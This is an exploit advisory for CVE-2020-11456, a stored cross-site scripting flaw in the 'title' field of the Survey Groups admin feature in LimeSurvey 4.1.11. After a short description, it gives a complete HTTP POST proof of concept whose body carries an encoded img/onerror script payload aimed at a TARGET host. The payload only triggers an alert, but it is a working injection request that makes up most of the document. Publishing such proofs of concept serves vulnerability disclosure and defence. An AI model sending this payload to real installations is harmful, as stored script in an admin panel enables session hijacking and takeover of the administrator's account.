LimeSurvey 4.1.11 - 'Survey Groups' Persistent Cross-Site Scripting

# Exploit Title: LimeSurvey 4.1.11 - 'Survey Groups' Persistent Cross-Site Scripting 
# Date: 2020-04-02
# Exploit Author: Matthew Aberegg, Michael Burkey
# Vendor Homepage: https://www.limesurvey.org
# Version: LimeSurvey 4.1.11+200316
# Tested on: Ubuntu 18.04.4
# CVE : CVE-2020-11456

# Vulnerability Details
Description : A stored cross-site scripting vulnerability exists within the "Survey Groups" functionality of the LimeSurvey administration panel.
Vulnerable Parameter : "title"


# POC
POST /limesurvey/index.php/admin/surveysgroups/sa/create HTTP/1.1
Host: TARGET
Content-Length: 374
Cache-Control: max-age=0
Origin: http://TARGET
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://TARGET/limesurvey/index.php/admin/surveysgroups/sa/create
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: LS-ERXSBPYJOOGIGFYW=7ge1q4rvsdgs0b6usksh3j5lb0; YII_CSRF_TOKEN=UmZ5cjJjY0ZhUExCcUYzQlU0VVBaV3BmZ1NWbTBHQ0oh7CIrJ3fZHoEIY4fzcDjOZJUykirqanC63j5b8gpHug%3D%3D
Connection: close

YII_CSRF_TOKEN=UmZ5cjJjY0ZhUExCcUYzQlU0VVBaV3BmZ1NWbTBHQ0oh7CIrJ3fZHoEIY4fzcDjOZJUykirqanC63j5b8gpHug%3D%3D&SurveysGroups%5Bowner_id%5D=&SurveysGroups%5Bgsid%5D=&SurveysGroups%5Bname%5D=XSSTEST&SurveysGroups%5Btitle%5D=%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&SurveysGroups%5Bdescription%5D=This+is+a+test.&SurveysGroups%5Bsortorder%5D=4&SurveysGroups%5Bparent_id%5D=&yt0=